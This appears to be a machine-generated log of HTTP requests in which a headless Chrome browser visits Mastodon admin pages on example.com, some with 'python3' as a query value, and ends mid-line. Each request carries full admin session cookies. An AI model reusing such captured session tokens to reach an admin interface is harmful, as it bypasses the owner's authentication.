{"method": "GET", "target": "/packs/typed_functions-Whap35TF.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/instances?by_domain=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTguNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9b4495f142e6d2ee89d949184d854abfb09e3923; _mastodon_session=F0mpcYjHgTeplRWB1bhnVZFnlJjzxictFHSfVp3PLrWxB00cS9bTtUiQrRc%2BOhOmg6H4KGznuJKs3wuG1qILIfn715rmro7sjiVbOduiEX5WwI6OU%2FV1aALGZYdBPlGAT53WzoCE0at1uzHBoWHzMkZmhZEd4SNfhvozO1D4k1IbDww8kBf88A6g2Gj6z2MKYcXOMkGTR6%2FarBFZ36cEGCKr3%2BWgUpE6i4oKqfScT94bFFbsB13crO45es2jibHh0sspH2ArfME1CVSQmFDTqaBxM4t%2FXJ%2BFwuuDdrFswDur8%2FCzx05RCBub31zAj583goREm%2BmoHLBdx%2FAiAjeDXy2tcGYgVOGB0IvQG1ZUm6tmR%2B2UQXA2%2FkC%2FQkq67A2bFCxmYNqhums1--EMZbk7l6%2Fyc8Wg04--DSoFa%2Fhz7mIpO2bwpONmVA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/instances", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTguNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9b4495f142e6d2ee89d949184d854abfb09e3923; _mastodon_session=F0mpcYjHgTeplRWB1bhnVZFnlJjzxictFHSfVp3PLrWxB00cS9bTtUiQrRc%2BOhOmg6H4KGznuJKs3wuG1qILIfn715rmro7sjiVbOduiEX5WwI6OU%2FV1aALGZYdBPlGAT53WzoCE0at1uzHBoWHzMkZmhZEd4SNfhvozO1D4k1IbDww8kBf88A6g2Gj6z2MKYcXOMkGTR6%2FarBFZ36cEGCKr3%2BWgUpE6i4oKqfScT94bFFbsB13crO45es2jibHh0sspH2ArfME1CVSQmFDTqaBxM4t%2FXJ%2BFwuuDdrFswDur8%2FCzx05RCBub31zAj583goREm%2BmoHLBdx%2FAiAjeDXy2tcGYgVOGB0IvQG1ZUm6tmR%2B2UQXA2%2FkC%2FQkq67A2bFCxmYNqhums1--EMZbk7l6%2Fyc8Wg04--DSoFa%2Fhz7mIpO2bwpONmVA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/api-CGawW2vu.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/instances", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDEuMzg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--80dce4e171b80ce0507000078d7bc66401dabb04; _mastodon_session=5uG1%2FMG520iXcXH7Q5NxmggpV%2FrIvaJLd%2BlVMdaI7q%2BlyopPOofRW1rzrqjiYJKoUMuNqrtrFNUOV1NTXSXrnsyEtVAfqOjLkNYCTFV05MZJvQzWXu1lJhm2GSwB67wJADula3AUF6J4BMI7gjY9o8%2BXiwsXETCAC3x%2Bftrk9fuMUPMu8c55gTHok1TpAVoD%2FD3ZzWUScq0wX3gfLMTAB4%2FkN%2BdX6kR2GTTJfHhCHevZSO%2FGlRzD96gO%2FNslrEPZQLqiAMTJ1L7p0lUIz0dCwnVq8lHIHpKVzyOGOdH15nQyL3OBSQhvr3fn2f5sSH8x%2BME26MKQyzTZqfdz46OtbKQ%2FSNBCfbi4cpiCFvvFMHBcIUVjYzgDnP9aE%2Bnbsq3atNy11LaTtq6%2F--MENt58uSSDDDCnVi--ZeYYKBPCfpR0hrM4nda5fA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/custom_emojis?shortcode=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDEuMzg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--80dce4e171b80ce0507000078d7bc66401dabb04; _mastodon_session=5uG1%2FMG520iXcXH7Q5NxmggpV%2FrIvaJLd%2BlVMdaI7q%2BlyopPOofRW1rzrqjiYJKoUMuNqrtrFNUOV1NTXSXrnsyEtVAfqOjLkNYCTFV05MZJvQzWXu1lJhm2GSwB67wJADula3AUF6J4BMI7gjY9o8%2BXiwsXETCAC3x%2Bftrk9fuMUPMu8c55gTHok1TpAVoD%2FD3ZzWUScq0wX3gfLMTAB4%2FkN%2BdX6kR2GTTJfHhCHevZSO%2FGlRzD96gO%2FNslrEPZQLqiAMTJ1L7p0lUIz0dCwnVq8lHIHpKVzyOGOdH15nQyL3OBSQhvr3fn2f5sSH8x%2BME26MKQyzTZqfdz46OtbKQ%2FSNBCfbi4cpiCFvvFMHBcIUVjYzgDnP9aE%2Bnbsq3atNy11LaTtq6%2F--MENt58uSSDDDCnVi--ZeYYKBPCfpR0hrM4nda5fA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/isSymbol-3r8dk6Lb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/custom_emojis?shortcode=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDQuMjM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5b201424771bcf4e883698520656bfcbf6c5f6d8; _mastodon_session=2ADdSofy1HIJOkaQYz2Cl7dzVcFAkWzm3cHp9QAoi%2F%2F%2B9P%2Be7nFUm0OZuZFiTrImoApvI6g7xdE6nTdxWT7%2BeAKgA%2BeitPaop1nGT2hDSUdtagj0j%2FpLH18ySaLcSGRXOxgSoAT%2FzCLUgv9n5IEZ4a6o%2Be8iVGrQ5TREP9GZiGDFZ7J7n1DBTNduUB5vtpHiatA6uQ5eT6GBYW1OFq5cZ7Bd6aKfrx%2B5SoEQ3M%2F%2B%2FLWkj8enjDG4Cpk09XPENyGSV83IsoTphnjuK0VbOFE4CJ2%2Bdd%2BKdPhVGde%2Bp0o%2BMz2GQ3bkQgurZuaO0PGzOp%2BEdQAUIXo6ui2f9Pvmf3R5b2RCn4hU51h0tw2TpPbAZUISYixRuPZ%2BoJ0TGO4m%2BdyJ7hrSfbTT%2BZUh--b6IyTX1QZVYMllHq--Ly4ZAZAWf8I5kahy7IALdA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/custom_emojis?by_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDQuMjM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5b201424771bcf4e883698520656bfcbf6c5f6d8; _mastodon_session=2ADdSofy1HIJOkaQYz2Cl7dzVcFAkWzm3cHp9QAoi%2F%2F%2B9P%2Be7nFUm0OZuZFiTrImoApvI6g7xdE6nTdxWT7%2BeAKgA%2BeitPaop1nGT2hDSUdtagj0j%2FpLH18ySaLcSGRXOxgSoAT%2FzCLUgv9n5IEZ4a6o%2Be8iVGrQ5TREP9GZiGDFZ7J7n1DBTNduUB5vtpHiatA6uQ5eT6GBYW1OFq5cZ7Bd6aKfrx%2B5SoEQ3M%2F%2B%2FLWkj8enjDG4Cpk09XPENyGSV83IsoTphnjuK0VbOFE4CJ2%2Bdd%2BKdPhVGde%2Bp0o%2BMz2GQ3bkQgurZuaO0PGzOp%2BEdQAUIXo6ui2f9Pvmf3R5b2RCn4hU51h0tw2TpPbAZUISYixRuPZ%2BoJ0TGO4m%2BdyJ7hrSfbTT%2BZUh--b6IyTX1QZVYMllHq--Ly4ZAZAWf8I5kahy7IALdA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDcuMDk2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--86b084613ac132781b44303783eaa7301e7b20d8; _mastodon_session=F3ZYT%2BRSEL%2BSI6b8TyxkZknCePdBmJUKk%2Fv80NTQmR2XBT%2BcVwbPFnjDXIcnA5CBLXDbYNAUaZfBSYKte39SkKnGQGZUalS9iQnUU0j4PhGPhiLThmj%2Fnr1pZVilzV4iTXkiHnjlQ7aJWi1jr%2BWC7jsjaU%2Fuc0Uc4licwQoHYliZso4m5DPmXy9a1Jl7X33CrFVqI7Up%2BbdWSiQ1WK13ZpEsWlQ40h80X59bnlAkFEWnu%2BOqZ0OrWzCGGIAIXwQwNU2InHvdqKkFUTwUlXs6ozoe6R2PLMqhM0H2mzfmjmxHYNSU9X5%2FViy57BcBhxEZu69TjCKbXYyDeJqwK7daZe3aNuwB9kEj2EV6mKM064FF32S%2FE%2Fr6DQ48qutUH59YtMYahpr3rjxX--2kufuOWh92yTTykp--FA9erEuFBkcLi4XwjQvveQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/preload-helper-HclGiUj8.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDkuOTIxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--02fd1120fad0c0d6068175ab96f5c42cb80999e0; _mastodon_session=fdmBJUzDykZ9vuxDaKs6CtpGzmM19KdW0sGqKgkU93OM%2F2XguQRvNiIkoLmzMTAVW8l7TG%2Bu5t30HLyIWv%2FTb6d89RZYO4%2FR97VquoMBPeOy92Y3U0apd3ToRB2AP1fkrZ0omKCOoCfv%2BmWQ1Hw2SfQj6%2Fb38Xj3ETl06m1AqPkcPi6Psj4N6XE29N%2BkE5vYWcQaOvYhSlSBFUT5Wu8J4oC7lAmrqQMVHzQ0JUFnFgvn04NUY3kdGeA2gBApgnSmrkm0rnVoKTOIS1ilHXh%2FwCqsU85ktEyNZe5M3rSZGPb9Pr57tjJPKjBY0K46fK2P6HLdM0jsUfpGLtSK5I0koNoxMNCVBdnJMtCbMUJ7wlvokFqMRZwn7PTwk87ap0yAQl117MhUGpSX--myBsRu193ek%2B4Iyt--T2NQcxyk%2B8XFFQN%2BPx45PQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/tags?name=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDkuOTIxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--02fd1120fad0c0d6068175ab96f5c42cb80999e0; _mastodon_session=fdmBJUzDykZ9vuxDaKs6CtpGzmM19KdW0sGqKgkU93OM%2F2XguQRvNiIkoLmzMTAVW8l7TG%2Bu5t30HLyIWv%2FTb6d89RZYO4%2FR97VquoMBPeOy92Y3U0apd3ToRB2AP1fkrZ0omKCOoCfv%2BmWQ1Hw2SfQj6%2Fb38Xj3ETl06m1AqPkcPi6Psj4N6XE29N%2BkE5vYWcQaOvYhSlSBFUT5Wu8J4oC7lAmrqQMVHzQ0JUFnFgvn04NUY3kdGeA2gBApgnSmrkm0rnVoKTOIS1ilHXh%2FwCqsU85ktEyNZe5M3rSZGPb9Pr57tjJPKjBY0K46fK2P6HLdM0jsUfpGLtSK5I0koNoxMNCVBdnJMtCbMUJ7wlvokFqMRZwn7PTwk87ap0yAQl117MhUGpSX--myBsRu193ek%2B4Iyt--T2NQcxyk%2B8XFFQN%2BPx45PQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-dom-BddMPX6d.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/tags?name=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTIuNzY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d6f4dbca96ee5e129689b201e87ebe6fa58ea140; _mastodon_session=NFnChyhDFry4INEz%2BWzfqgy74NH%2F6PpNmL%2BMgG9Jei8Yywiuu7Etl7dLj7TdUj%2BZFfEQsH5FQE2ZRnXa9idN8uIFcrYC82%2BsWuFzIhtJUPPmlPah7DDgudK%2B9sTze5KY1BI2ROEuZS9b7C2z86SQxfQYoLNrJSBQFl0S98ZGVD92ocpqtvzgaWMoRi%2B9GZ87%2FOttt4ERZT5hW%2BZMhGwv0PcYjaRnRd%2F0Eob0UgQtxnFvWzZ4cbaE2g4xK3Ysh5LDuGiYcHwR9zZ5UhBKDbDVrhpqwp057DB67F4juDotAW76%2Bdmm6WAewfc3rphZFy0IV91aCUGjuhVNQg%2Fr9nLpy%2FJpliYlxgrFdUo8Q5iv6tJheF6UKJwsQfJhWy3JAQvcFG1jOYDrMpXm--oBX%2FQWjRY4CY6sWS--oz7REDrmHuSsV%2FO5TwowzQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/action_logs", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTIuNzY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d6f4dbca96ee5e129689b201e87ebe6fa58ea140; _mastodon_session=NFnChyhDFry4INEz%2BWzfqgy74NH%2F6PpNmL%2BMgG9Jei8Yywiuu7Etl7dLj7TdUj%2BZFfEQsH5FQE2ZRnXa9idN8uIFcrYC82%2BsWuFzIhtJUPPmlPah7DDgudK%2B9sTze5KY1BI2ROEuZS9b7C2z86SQxfQYoLNrJSBQFl0S98ZGVD92ocpqtvzgaWMoRi%2B9GZ87%2FOttt4ERZT5hW%2BZMhGwv0PcYjaRnRd%2F0Eob0UgQtxnFvWzZ4cbaE2g4xK3Ysh5LDuGiYcHwR9zZ5UhBKDbDVrhpqwp057DB67F4juDotAW76%2Bdmm6WAewfc3rphZFy0IV91aCUGjuhVNQg%2Fr9nLpy%2FJpliYlxgrFdUo8Q5iv6tJheF6UKJwsQfJhWy3JAQvcFG1jOYDrMpXm--oBX%2FQWjRY4CY6sWS--oz7REDrmHuSsV%2FO5TwowzQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/jsx-runtime-BdxMnOeJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/action_logs", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTUuNjAzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3096f08c146fa14302ad2d672a0570934c5a129f; _mastodon_session=uKF7zTl%2BRavFBrha1TLOuxxq4jSA%2BQYTUkrT8h2VHA0XZa4NxW44ltvVQ0M5MAG3%2FX9CzsdCu9GOiuTyt12GKar57FANN3cxuv3W4WrpXF89gVU%2FsE8WrqzPq3DLp0SrkbIXzaQYtaVPOgUGYBu%2FEu1IEZeyXeze7fOOPIMrog82PEPVI4myCLWUJ%2FG3DIfQb05LFJ%2F19RHPoPL4wnTYw1Pm65wUiZCdEGaVGfLbgTBjghwLkIGLi8STyXorRnP98eqICI7qem%2BuXnN5trEZHS5QxRlx48vC79ZuLqkSyKIoxekZA3hv4jxvhsTbzxRyJzH2Dk4gsCfK3F9O07PfBLq3ih8HOQ5AzaUFli89I%2BAgQxALf0ETdcqLlY0Za7qOyPYLH5UVnY4l--Bxly6YlXZCndBwbw--6hTumwCewXjEZ%2BxkhTVSPQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTUuNjAzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3096f08c146fa14302ad2d672a0570934c5a129f; _mastodon_session=uKF7zTl%2BRavFBrha1TLOuxxq4jSA%2BQYTUkrT8h2VHA0XZa4NxW44ltvVQ0M5MAG3%2FX9CzsdCu9GOiuTyt12GKar57FANN3cxuv3W4WrpXF89gVU%2FsE8WrqzPq3DLp0SrkbIXzaQYtaVPOgUGYBu%2FEu1IEZeyXeze7fOOPIMrog82PEPVI4myCLWUJ%2FG3DIfQb05LFJ%2F19RHPoPL4wnTYw1Pm65wUiZCdEGaVGfLbgTBjghwLkIGLi8STyXorRnP98eqICI7qem%2BuXnN5trEZHS5QxRlx48vC79ZuLqkSyKIoxekZA3hv4jxvhsTbzxRyJzH2Dk4gsCfK3F9O07PfBLq3ih8HOQ5AzaUFli89I%2BAgQxALf0ETdcqLlY0Za7qOyPYLH5UVnY4l--Bxly6YlXZCndBwbw--6hTumwCewXjEZ%2BxkhTVSPQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/rolldown-runtime-C0FnF6B9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/roles", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTguNDUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3b0d4a3f025887f1aee8546fd4b03aac80ec0fb0; 